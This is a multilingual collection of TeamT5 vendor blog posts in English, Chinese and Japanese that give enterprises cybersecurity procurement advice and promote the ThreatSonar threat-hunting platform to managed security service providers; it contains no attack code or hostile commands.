- **Case Study**: [link](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=blog&utm_medium=website)



## Key points for enterprises to purchase cybersecurity services and solutions

There are a wide variety of products and services that help enterprises achieve their cybersecurity defense strategic goals. We provide enterprises with evaluation and purchasing guides based on the categories of our expertise. Enterprises can understand the evaluation and procurement priorities for security incident response (IR), endpoint detection and response solutions (EDR), and threat intelligence platforms (TIP) based on their goals.


####Incident Response(IR): Key Considerations for Procurement
Incident Response services are designed to assist enterprises with immediate response and investigation of cybersecurity incidents and accidents to help them reduce damage. However, when selecting and procuring IR services, businesses need to carefully consider 5 key factors.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####Endpoint Detection and Response (EDR) Solution: Key Considerations for Procurement
EDR (Endpoint Detection and Response) solution is a powerful tool that can help enterprises detect and respond to endpoint threats early. However, when selecting and purchasing EDR solutions, enterprises need to pay attention to 6 key points to ensure that the chosen solution meets their cybersecurity needs and can help the information system operate stably in the long term.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####Threat Intelligence Platform (TIP) : Key Considerations for Procurement
The threat intelligence platform provides critical threat intelligence to help enterprises identify, analyze and respond to threats. However, when selecting and purchasing a threat intelligence platform, enterprises need to carefully consider 5 key factors.

[Read the article](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##Conclusion
With the advent of the digital age, enterprises are facing increasingly complex cyber threats. Enterprises should choose appropriate cybersecurity services and solutions based on their own needs and strategic goals in order to build cyber security resilience and achieve the defense goals.



>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan.
>
>Contact us and know more of intelligence-driven cybersecurity solutions 
>[https://teamt5.org/en/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)


Enterprise Cybersecurity Guide [2024]

本文匯集[TeamT5 杜浦數位安全的團隊](https://teamt5.org/tw/about-us/?utm_source=blog&utm_medium=website)逾20年的資安防禦專業經驗，與企業分享資安防禦的關鍵，並分析挑選資安解決方案、服務宜注意的關鍵。希望對企業有所幫助，一同打造資安韌性 !


## 企業進行資安防禦的關鍵
初步可參考 NIST 資安框架，其由美國國家標準與技術研究所提出，透過有系統、有架構的標準，協助企業檢視自身資安防禦的不足，並針對特定項目進行補強。更多說明請見此文章〈[如何依據 NIST 資安框架，檢查企業資安防禦狀況?](https://teamt5.org/tw/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)〉。

進一步來說，資安防禦如同企業與惡意攻擊者的長期比賽，唯有知己知彼，方能百戰百勝。我們以球賽為例，分析資安攻防賽如同球隊準備上場比賽、乃至收集對手情資，直到實際對陣等，每階段都需戰戰兢兢，才能達到完全比賽。詳細說明請見此文章〈[從球賽看資安防禦：企業為什麼需要威脅情資](https://teamt5.org/tw/posts/what-ball-games-teach-us-about-cyber-defense/?utm_source=blog&utm_medium=website)〉。

而在日常營運中，我們特別強調企業採用威脅狩獵（threat hunting）策略，有助企業採取主動積極的防禦措施，強化企業的資安韌性，確保業務營運不中斷。更多說明請見此文章〈[威脅狩獵對企業的好處：強化資安韌性的關鍵](https://teamt5.org/tw/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)〉。


## 企業宜依據產業特性，規劃資安防禦策略
而依據產業特性，我們也建議企業為本身需求，量身規劃有效的資安策略，以達到最佳防禦效果。下列為常遭受惡意攻擊的產業，分別說明建議對策。

- 金融業：[連結](https://teamt5.org/tw/industry/finance/?utm_source=blog&utm_medium=website)
- 醫療院所：[連結](https://teamt5.org/tw/industry/medical/?utm_source=blog&utm_medium=website)
- 科技製造業：[連結](https://teamt5.org/tw/industry/high-tech/?utm_source=blog&utm_medium=website)
- 政府機關：[連結](https://teamt5.org/tw/industry/government/?utm_source=blog&utm_medium=website)



## 企業選購資安服務與產品的重點

協助企業達成其資安防禦策略目標的產品與服務非常多元，我們以自身專長的類別，為企業提供評估與選購指南。企業可以依據其目標，了解資安事件應變服務、威脅偵測應變代管服務（MDR）、端點檢測和回應解決方案（EDR）和威脅情資平台（TIP）的評估與採購重點。


####資安事件應變服務 評估與採購重點
IR 服務旨在協助企業，針對資訊安全事件、事故，進行即時回應和調查，以幫助企業降低損害。然而，在挑選和採購 IR 服務時，企業需要謹慎考慮5個關鍵因素。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-incident-response-service-ir/?utm_source=blog&utm_medium=website)


####威脅偵測應變代管服務（MDR）評估與採購重點
Managed Detection and Response（MDR）服務供應商為企業提供外包的威脅偵測和應變服務，協助企業識別、分析和應對資安威脅。然而，挑選和採購合適的 MDR 服務供應商是一個重大的決策，影響企業數位資產與資訊系統能否獲得妥善防禦服務。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-managed-detection-and-response-mdr-solution/?utm_source=blog&utm_medium=website)


####端點檢測和回應解決方案（EDR） 評估與採購重點


EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意6個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)

####威脅情資平台（TIP）評估與採購重點
威脅情資平台提供了關鍵的威脅情資，幫助企業識別、分析和應對威脅。然而，在挑選和採購威脅情資平台時，企業需要謹慎考慮5個關鍵因素 。
[閱讀文章](https://teamt5.org/tw/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)

##結語
隨著數位時代的來臨，企業面臨著越來越複雜的資安威脅。企業宜依自身需求與策略目標，選擇合適的資安服務、產品，方能建立資安韌性，達成全面資安防禦。

 
 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>歡迎聯絡我們，了解備受客戶肯定的資安產品與服務 
>[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

企業資安防禦指南【2024 最新版】

当記事は、[TeamT5](https://teamt5.org/jp/about-us/?utm_source=blog&utm_medium=website)の20年以上にわたるサイバー防御専門家としての経験と、企業向けサイバーセキュリティの要点をまとめたものです。また、サイバーセキュリティソリューションやサービスを選択する際の注意すべきポイントを紹介します。企業の皆様のお役に立てるよう、サイバーセキュリティの強靭性を強化するサポートをいたします！

## 企業向けサイバー防衛の要点
基本的な要点として、アメリカ国立標準技術研究所が提唱している、体系的かつ構造化された基準を通じて、企業は自社のサイバー防御の不備を見直し、特定のプロジェクトに向けて強化することが容易となります。

詳しくはこちらの記事「[NIST サイバーセキュリティフレームワークに基づいて、企業のサイバーセキュリティ状況を確認するには?](https://teamt5.org/jp/posts/how-to-check-cyber-resilience-of-the-enterprise-based-on-nist-cybersecurity-framework/?utm_source=blog&utm_medium=website)」をご覧ください。

日常業務において、企業が積極的な防御策を講じ、サイバーセキュリティの強靭性を強化して、滞りなく事業運営を維持するために、脅威ハンティング戦略を導入することを特に重視しています。
詳しくはこちらの記事 「[組織のサイバー攻撃対策も感染症対策と同様に多層防御が必要です](https://teamt5.org/jp/posts/threatsonar-as-rapid-test/?utm_source=blog&utm_medium=website)」をご覧ください。

## 企業がサイバーセキュリティソリューションとサービスを購入する際のポイント
企業のサイバー防御戦略の目標達成を支援する製品やサービスは多種多様です。当社では、専門カテゴリーに基づいた評価・購入ガイドを企業に提供しています。これにより、企業は目標に基づき、セキュリティ・インシデント・レスポンス（IR）、エンドポイント検出および対応・ソリューション（EDR）、脅威インテリジェンス・プラットフォーム（TIP）の評価と導入のポイントを理解することができます。

####エンドポイント検出および対応・ソリューション（EDR）の評価と購入における考慮すべき事項
EDR（Endpoint Detection and Response）解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意6個關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。
エンドポイント検出および対応・ソリューション（EDR）は、エンドポイントの脅威を早期に検知し、対応するための強力なツールです。しかし、EDRを選択・購入する際、企業は、選択したソリューションがサイバーセキュリティのニーズを満たし、情報システムの長期的な安定稼働を支援できるよう、6つのポイントに注意を払う必要があります。

[詳しくはこちらの記事](https://teamt5.org/jp/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/?utm_source=blog&utm_medium=website)をご覧ください。

####脅威インテリジェンス・プラットフォーム（TIP）の評価と購入における考慮すべき事項
脅威インテリジェンス・プラットフォーム（TIP）は、脅威を特定・分析・対応するための鍵となる脅威インテリジェンスを提供します。しかし、TIPを選択・購入する際、企業は5つの重要なポイントをもとに検討する必要があります。

[詳しくはこちらの記事](https://teamt5.org/en/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/?utm_source=blog&utm_medium=website)をご覧ください。

##最後に
デジタル時代の到来に伴い、企業はますます複雑化するサイバー脅威に直面しています。企業がこれらに対抗する術として、サイバーセキュリティの強靭性を強化し、サイバー防御の目標を達成するためには、自社のニーズと戦略目標に基づき、適切なサイバーセキュリティソリューションとサービスを選択する必要があります。



>TeamT5は、世界トップクラスのサイバー脅威アナリストで構成されているセキュリティベンダーであり、地理的・文化的優位性を活かし、極東アジアのサイバー攻撃者に特化しています。また、国際的なサイバーセキュリティカンファレンスにも頻繁に招待され、研究や見識を共有しています。
当社の脅威インテリジェンス研究の専門知識とソリューションは、フロスト＆サリバンから台湾脅威インテリジェンス分野の年間最優秀企業賞（2023 Taiwanese Threat Intelligence Industry Company of the Year Award）を受賞しました。
>
>TeamT5のサイバーセキュリティ製品とサービスの詳細については、弊社までぜひお問い合わせください。
>[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)


企業向けサイバーセキュリティガイド【2024 最新バージョン】

Products & Services

With the advent of the digital age, enterprises are facing increasingly complex and hidden threats. For Managed Security Service Providers (MSSP) vendors, the solutions they provide to their clients need to be not only efficient, but also able to cope with the evolving threat environment. In this turbulent security field, [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) has become a stepping stone for new clients, bringing endless business opportunities to MSSPs.


## Introduction to Threat Forensic Analysis Platform ThreatSonar
By deploying the ThreatSonar threat identification and analysis platform, users can quickly screen possible security risks and threats in the field, and comprehensively inventory the security status of endpoints starting from the hosts that were severely compromised in the incident. Users can also analyze key network system records to investigate possible intrusion access points of hackers, obtain root causes of intrusions, grasp hacker movement paths, and take inventory of threat damage.

##Potential business opportunities
#### Client demand continues to grow
As the complexity of threats continues to increase, so do the security needs of enterprises. The advanced threat intelligence and rapid response capabilities provided by ThreatSonar make it a powerful tool for MSSP vendors to win clients.

#### More compliance requirements
Across industries, compliance requirements are becoming increasingly stringent. ThreatSonar helps MSSP manufacturers ensure that clients comply with relevant regulations, enhances clients' competitiveness in the market, and increases clients' reliance on MSSPs.

#### Provide opportunities for value-added services
ThreatSonar points out the cybersecurity threats faced by end clients, helping MSSPs to provide more value-added services to end clients, such as more suitable cybersecurity solutions, regular cybersecurity training, etc., expanding the scope of MSSP services and also bringing new business opportunities.


## Conclusion

ThreatSonar is not only a powerful threat identification and analysis platform, but also a powerful assistant for MSSPs to create business opportunities. As security threats continue to evolve, choosing ThreatSonar will unlock endless business opportunities for MSSPs.


 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The threat hunting tool we developed, ThreatSonar, has been adopted by many managed security service providers (MSSPs).
>
>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

New Business Opportunity for MSSP in Cybersecurity Industry

隨著數位時代的來臨，企業面臨著越來越複雜和隱匿的威脅。對於資安服務廠商(Managed Security Service Providers, MSSP) 廠商而言，提供給客戶的解決方案不僅需要高效，更需要能夠應對不斷進化的威脅環境。在這個動蕩的資安領域，[ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 成為了新客戶敲門的磚頭，為 MSSP 帶來無窮的商業機會。


## 威脅鑑識分析平台 ThreatSonar 簡介
藉由部署 ThreatSonar 威脅鑑識分析平台，用戶能夠快速篩檢場域中可能的資安風險與威脅，並從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。用戶更可同時藉由分析關鍵網路系統紀錄，調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

## 潛在的商業機會
#### 客戶需求持續增長
隨著威脅的複雜性不斷提高，企業對於安全性的需求也與日俱增。ThreatSonar 提供的先進威脅情報和快速的應對能力使其成為 MSSP 廠商贏得客戶的利器。

#### 更多的合規性要求
在各個產業中，合規性要求變得越來越嚴格。ThreatSonar 幫助 MSSP 廠商確保客戶符合相應的法規，提升客戶在市場上的競爭力，也提升客戶對 MSSP 的倚重。

#### 帶來加值服務的機會
ThreatSonar 指出終端客戶面臨的資安威脅，有助 MSSP 為終端客戶提供提供更多加值服務，如更適合的資安解決方案、定期的資訊安全培訓等，擴大MSSP 的服務範疇，也帶來新商業機會。

## 結論

ThreatSonar 不僅是強大的威脅鑑識分析平台，更是 MSSP 創造商機的得力助手。隨著資安威脅不斷演變，選擇 ThreatSonar 將為 MSSP 帶來無窮的商業機會。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
我們研發的威脅狩獵工具 ThreatSonar 已獲許多資安代管服務廠商（MSSP）採用。
>
>如果您是資安代管服務廠商，請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，共同討論如何創造商機。

 
 
*首圖來源: pexel

新客戶的敲門磚: 為資安服務廠商(MSSP)帶來商業機會的威脅鑑識分析平台 ThreatSonar

デジタル時代の到来に伴い、企業はますます複雑化する隠れた脅威に直面しています。マネージドセキュリティサービスプロバイダー（MSSP）ベンダーにとって、顧客に提供するソリューションは効率的であるだけでなく、進化する脅威環境に対応できる必要があります。この激動のセキュリティ分野において、ThreatSonarは新規顧客の足がかりとなり、MSSPに無限のビジネスチャンスをもたらします。

##脅威フォレンジック分析プラットフォーム ThreatSonar の概要
ThreatSonarの脅威識別・分析プラットフォームを導入することで、現場で想定されるセキュリティリスクや脅威を迅速にスクリーニングし、インシデントで深刻な侵害を受けたホストからエンドポイントのセキュリティ状況を包括的にインベントリ化することができます。また、主要なネットワークシステムの記録を分析し、ハッカーの侵入アクセスポイントの調査を行い、侵入の根本原因とハッカーの移動経路を特定するので、脅威の被害状況を把握することができます。

##潜在的なビジネスチャンス

####高まる顧客のニーズ

脅威の複雑さが増すにつれ、企業のセキュリティニーズも増加の一途をたどっています。ThreatSonarが提供する高度な脅威インテリジェンスと迅速な対応能力は、MSSPベンダーが顧客を獲得するための強力なツールとなります。


####コンプライアンス要件の強化

業界を問わず、コンプライアンス要件はますます厳しくなっています。ThreatSonarは、MSSPメーカーが顧客の関連規制の準拠を保証し、市場における顧客の競争力を高め、MSSPへの信頼を高めるのに役立ちます。


####付加価値サービスの機会の提供

ThreatSonar は、エンド顧客が直面しているサイバーセキュリティの脅威を指摘し、MSSP がより適切なサイバーセキュリティソリューション、定期的なサイバーセキュリティトレーニングなど、より付加価値の高いサービスを提供できるよう支援するので、MSSPサービスの範囲を拡大し、新たなビジネスチャンスをもたらします。


##結論
ThreatSonarは、強力な脅威識別・分析プラットフォームであるだけでなく、MSSPがビジネスチャンスを創出するための強力なアシスタントでもあります。セキュリティ脅威が進化し続ける中、ThreatSonarを選択することで、MSSPのビジネスチャンスは無限に広がります。


新規顧客への足掛かり: サイバーセキュリティ業界におけるMSSPの新たなビジネスチャンスとなる脅威フォレンジック分析プラットフォーム ThreatSonar

In the ever-changing cybersecurity environment, proactive detection of threats and deployment of appropriate cybersecurity solutions are the focus of defense.

For enterprises to effectively deal with complex cybersecurity situations, strong allies are crucial - [ThreatSonar](https://teamt5.org/en/products/threatsonar/?utm_source=blog&utm_medium=website), the threat identification and analysis platform launched by TeamT5, has been adopted by many managed security service providers (MSSPs) in Japan, Singapore, Vietnam, and Taiwan. Conduct compromise assessment for end clients to achieve the same benefits as regular health checks; when a cybersecurity incident occurs, use ThreatSonar to perform incident response to avoid the spread of damage.

This article will introduce the powerful functions and application scenarios of ThreatSonar, and how it can bring new business opportunities to managed security service providers (MSSPs). We look forward to vendors contacting us and creating business opportunities together.

## The power of ThreatSonar

ThreatSonar is more than just a tool, it is a powerful shield that proactively defends against online threats.

By deploying the threat identification and analysis platform ThreatSonar, users can quickly screen possible cybersecurity risks and threats in the field, and comprehensively inventory the cybersecurity status of endpoints starting from the hosts that were severely compromised in the incident. Users can also analyze key network system records to investigate possible intrusion access points of hackers, obtain root causes of intrusions, grasp hacker movement paths, and take inventory of threat damage.


Powerful features include:
- **Intelligence-driven smart threat forensics**

Built-in thousands of APT backdoor signatures provide the latest intelligence to every endpoint for threat forensics. Also it allows the import of external intelligence such as hash, IP, domain, Yara Rule and IoC to precisely defend potential targeted threats."

- **Lightweight deployment and background execution without affecting daily operations**

ThreatSonar agent can be deployed on thousands of computers in an enterprise, and runs with less system resources. Personnel can carry out computer work as usual without the burden of running forensic.

- **Compromise assessment offers the whole picture of the incident, shortening the investigation time**

ThreatSonar not only analyzes the current state of the host, but also investigates past event trajectories through log analysis, presents the sequence of events on the Timeline, and tracks lateral movement and data outflow paths through cross-endpoint correlation.

- **Possess memory forensics and behavior analysis to effectively identify unknown malicious programs**

Identify malicious programs hidden in the memory, executed and to-be-executed programs, attacker's hack tools, and after-attacks log on the host, and automatically identify hundreds of dynamic behavior anomalies.

- **Active threat hunting with visualization of correlating potential compromised endpoints**

Statistical correlation analysis finds unknown attack techniques, establishes baselines to lock on abnormal behaviors, and tags potential unknown threats, such as abuse of rare programs or legal system tools in the organization; malware with digital signatures, etc.

## Application scenarios of ThreatSonar: compromise assessment, incident response

It can be used in two scenarios: compromise assessment and incident response. ThreatSonar is an intrusion assessment tool that quickly scans for potential threats.

In the past, MSSP relied on manual work, which was time-consuming and costly, and was not a business model that could expand the scale of operations. Now, MSSP imports ThreatSonar into the workflow, allowing professionals to scan potential threats easily and effortlessly, and quickly assess the health of the security environment for clients. The reports generated by ThreatSonar can further guide clients to purchase suitable cybersecurity solutions, and then achieve a complete procurement guidance process and create greater business opportunities.

As an incident response tool, ThreatSonar provides incident response teams with professional and reliable tools for threat hunting.

In the past, incident response personnel could only check three computers for cybersecurity threats every day, and it would take 1 to 4 weeks to write and produce a complete threat hunting result report. Now, MSSP introduces ThreatSonar into the operation process, and can check more than 1,000 computers (or terminal devices) within 1 hour, and can submit a detailed threat hunting result report within 1 day to 1 week. Covering the aforementioned ThreatSonar detection threats, MSSP can help clients eliminate threats.

With ThreatSonar, MSSPs will be able to provide clients with better and more comprehensive services and earn significant profits.


## How ThreatSonar creates new business opportunities for managed security service providers (MSSPs)

The ThreatSonar threat identification and analysis platform has a simple and hassle-free process from deployment, use, to output result reports. MSSPs can easily get started, reducing the burden on team personnel; MSSPs can also gain in-depth understanding of clients when conducting intrusion assessments, incident response, etc. of the cybersecurity environment and immediate needs, and then recommend extended cybersecurity solutions to bring business opportunities and profits.

## Benefits of ThreatSonar for Managed Security Service Providers (MSSPs)
- **Simplified deployment:** Tools are lightweight and compatible with existing endpoint solutions
- **Professional support**: Backed by TeamT5 experts with over 20 years of experience in cyber threat research
- **Increased profitability**: TeamT5 offers a flexible payment mechanism that charges per report rather than the number of endpoints scanned. If the MSSP initially determines from the report that the endpoint has a high-risk security threat and requires further interpretation, then the MSSP needs to pay to unlock the ThreatSonar report; if no endpoint with major security threats is found, the MSSP can save the cost of unlocking all endpoint scan reports.
- **Expand advanced service opportunities**: Intrusion assessment before an incident occurs and contingency response after an incident are common needs of enterprises, and it is also a critical moment when enterprises urgently need MSSP assistance. MSSP can use the professional ThreatSonar platform as an important tool to improve the quality of cybersecurity services for corporate clients.


## Conclusion
ThreatSonar is an essential tool for cybersecurity health checks. Managed Security Service providers (MSSPs) proactively conduct regular checks for end clients. It can grasp the health of cybersecurity and help achieve all-round defense.

 
 

>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The threat hunting tool we developed, ThreatSonar, has been adopted by many managed security service providers (MSSPs).
>
>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.
>[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)

The Threat Hunter’s Guide to the Cyber Hygiene: ThreatSonar

在持續變化的資訊安全環境中，超前偵測威脅、部署適合的資安解決方案是防禦重點。

企業若要有效應對複雜的資安局勢，強大的盟友十分關鍵 —— 杜浦數位安全 TeamT5 推出的威脅鑑識分析平台 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/?utm_source=blog&utm_medium=website) 已獲日本、新加坡、越南與台灣的許多資安託管服務廠商（MSSP）採用，為終端客戶進行入侵評估（compromise assessment），達成如同定期健康檢查的效益；更於資安事件發生當下，使用 ThreatSonar，進行事件應變（incident response），避免損害擴散。

本文將介紹 ThreatSonar 的強大功能、應用場景，以及如何藉此為資安託管服務廠商（MSSP）帶來新商機，期待有興趣的廠商與我們聯絡，共創未來。

## ThreatSonar 的強大功能

ThreatSonar 不只是一個工具，更是一個主動抵禦網路威脅的強大盾牌。

藉由部署 ThreatSonar 威脅鑑識分析平台，用戶能夠快速篩檢場域中可能的資安風險與威脅，並從事件中嚴重受駭的主機出發，全面盤點端點安全狀態。用戶更可同時藉由分析關鍵網路系統紀錄，調查駭客可能的入侵存取點，獲取駭侵根因（root cause）、掌握駭客移動路徑、盤點威脅損害。

強大功能包含：
- **情資導向的智慧威脅識別**

內建數千種 APT 後門特徵，將最新情資帶到每個端點鑑識。同時，可匯入 hash、IP、domain、Yara Rule 與 IoC 等外部情資，高精準度打擊針對性強的潛在威脅。

- **輕量佈署、背景執行，不影響日常作業**

ThreatSonar 執行程式可安裝到企業組織內上百千電腦中，背景運行，系統資源使用量少，人員可照常進行電腦工作，不受此程式運行的負擔。

- **資安健檢從事件全貌著手，縮短事件調查時程**

ThreatSonar 不只分析主機當下狀態，同時透過事件紀錄分析，調查過去的事件軌跡，以 Timeline 事件時間軸呈現先後，並藉由跨端點關聯，追蹤內網移動與資料外流路徑。
具備記憶體鑑識及行為分析能力，有效揪出未知惡意程式
辨識出隱匿於記憶體中的惡意程式、執行過以及將要執行的程式、攻擊者的駭客工具、攻擊後殘留於主機的紀錄，自動鑑定數百種動態行為異常。

- **主動威脅狩獵，可視化關聯潛在受害主機**

統計關聯分析找出未知攻擊手法，建立基準線鎖定異常行為，標示潛伏未知威脅，例如組織中稀有程式或目錄、合法系統工具遭到濫用，或是具數位簽章的惡意程式等。


## ThreatSonar 的應用場景：入侵評估（compromise assessment）、事件應變（incident response）

可應用於入侵評估（compromise assessment）與事件應變（incident response）兩種情境。

ThreatSonar 作為入侵評估工具，可快速掃描潛在威脅。

過去，MSSP 需仰賴人工作業，耗時耗成本，且不是一個可以擴張營運規模的商業模式。現在， MSSP 導入 ThreatSonar 至作業流程，可以由專業人員輕鬆省力地進行潛在威脅掃描，快速為客戶評估資安環境的健康程度，更可 ThreatSonar 產出的報告，進一步引導客戶採購適合的資安解決方案，進而達到完整採購引導過程，創造更大的商機。

ThreatSonar 作為事件應變工具，為事件應變團隊提供專業可靠的工具，進行威脅狩獵。

過去，事件應變人員每天僅能檢查 3 台電腦遭受資安威脅，更需耗費 1~4 週的時間，撰寫製作完整的威脅狩獵結果報告。而現在， MSSP 導入 ThreatSonar 至作業流程，1 小時內即可檢查 1,000 個以上的電腦（或終端裝置），1 天 ~ 1 週內即可提出詳盡的威脅狩獵結果報告，內容涵蓋前述 ThreatSonar 的偵測之威脅，能夠讓 MSSP 協助客戶排除威脅。

MSSP 借助 ThreatSonar，將可為客戶提供更優質、更完善的服務，並且獲得可觀的利潤。


## ThreatSonar 如何為資安託管服務廠商（MSSP）帶來新商機

ThreatSonar 威脅鑑識分析平台從部署、使用，至產出結果報告，流程簡易無負擔，MSSP 能夠輕易上手，降低團隊人員負擔；MSSP 為客戶進行入侵評估、事件應變等過程中，更可深度了解客戶的資安環境與切身需求，進而建議延伸的資安解決方案，帶來商機與利潤。


## 資安託管服務廠商（MSSP）採用 ThreatSonar 的效益 
- **簡化部署**：工具為輕量級，可與現有端點解決方案相容
- **專業支援**：由擁有 20 多年網路威脅研究經驗的 TeamT5 專家團隊支援
- **提高獲利能力**：TeamT5 提供靈活的付費機制，按報告收費，而不是按掃描的端點數量收費。MSSP 若從報告中初步判斷該端點有高風險資安威脅需進一步解讀，才需付費解鎖 ThreatSonar 報告；若未發現具重大資安威脅的端點，MSSP 則可省下解鎖所有端點掃描報告的成本。
- **拓展進階服務商機**：事件發生前的入侵評估與事件發生後的應變處置是企業的常見需求，也是企業亟需 MSSP 協助的關鍵時刻。MSSP 可藉由使用專業的 ThreatSonar 平台，作為提升給企業客戶資安服務品質的重要利器。


## 結論
ThreatSonar 是資安健康檢查的必備工具，由資安託管服務廠商（MSSP）主動為終端客戶進行定期檢查，能夠掌握資安健康度，協助達到全方位防禦。

 

>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多資安代管服務廠商（MSSP）採用。
>
>如果您是資安代管服務廠商，請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，共同討論如何創造商機。

 
 
*首圖來源: pexel

威脅狩獵工具 ThreatSonar 完整指南

絶えず変化するサイバーセキュリティ環境において、脅威を事前に検出し、適切なサイバーセキュリティソリューションを導入することは防御の焦点となります。

企業が複雑なサイバーセキュリティ環境に効果的に対処するには、強力な「仲間」が必要です‐TeamT5の脅威識別・分析プラットフォーム「ThreatSonar」は、日本、シンガポール、ベトナム、台湾の多くのマネージドセキュリティサービスプロバイダー（MSSP）に採用されています。エンドクライアントに侵害評価を実施し、サイバーセキュリティインシデントが発生した場合は、被害の拡大を回避するためにインシデント対応を実行します。

本記事では、ThreatSonarの強力な機能と活用シーン、そしてマネージドセキュリティサービスプロバイダー（MSSP）に新たなビジネスチャンスをもたらすThreatSonarについてご紹介します。

各ベンダーの皆様からのご連絡を心よりお待ちしております。


##ThreatSonar の強さ

ThreatSonar は単なるツールではなく、オンラインの脅威を積極的に防御する強力なシールドです。


脅威識別・分析プラットフォームThreatSonarを導入することで、ユーザーは現場で起こりうるサイバーセキュリティリスクと脅威を迅速にスクリーニングし、インシデントで深刻な侵害を受けたホストからエンドポイントのサイバーセキュリティ状況を包括的にインベントリ化することができます。また、主要なネットワークシステムの記録を分析し、ハッカーが侵入した可能性のあるアクセスポイントを調査しするので、侵入の根本原因とハッカーの移動経路、そして脅威の被害状況を把握することができます。

強力な機能：

- **インテリジェンス主導のスマートな脅威フォレンジック**

何千ものAPTバックドアインジケータを内蔵しており、脅威フォレンジックのために最新のインテリジェンスを各エンドポイントに提供します。また、ハッシュ、IP、ドメイン、Yaraルール、IoCなどの外部インテリジェンスをインポートし、潜在的な脅威から正確に防御します。

 

- **日常業務に影響を与えない軽量な展開とバックグラウンド実行**

ThreatSonarエージェントは、企業内の数千台のコンピュータに展開でき、少ないシステムリソースで実行できるので、担当者はフォレンジックの実行に負担をかけることなく、通常通りのコンピュータ作業を行うことが可能です。

 

- **侵害評価によるインシデントの全体像の把握、調査時間の短縮 **

ThreatSonarは、ホストの現在の状態を分析するだけでなく、ログ分析を通じて過去のイベントの軌跡を調査およびタイムライン上に一連のイベントを表示し、クロスエンドポイント相関を通じてラテラルムーブメントとデータ流出経路を追跡します。

 

- **未知の悪意のあるプログラムを効果的に特定するためのメモリフォレンジックと行動分析を完備**

メモリに隠れた悪意のあるプログラム、実行されたプログラム、実行予定のプログラム、攻撃者のハックツール、ホスト上の攻撃後のログを特定し、何百もの活動的な動作異常を自動的に識別します。

 

- **侵害された可能性のあるエンドポイントの相関を可視化するアクティブな脅威ハンティング**

統計的相関分析により、未知の攻撃手法を発見および異常な動作を追跡するためのベースラインを確立し、組織内のまれなプログラムや合法的なシステムツールの悪用、またはデジタル著名付きのマルウェアなど、潜在的な未知の脅威をマークします。 

 

##ThreatSonar の活用シーン: 侵害評価（compromise assessment）、インシデント対応（incident response）

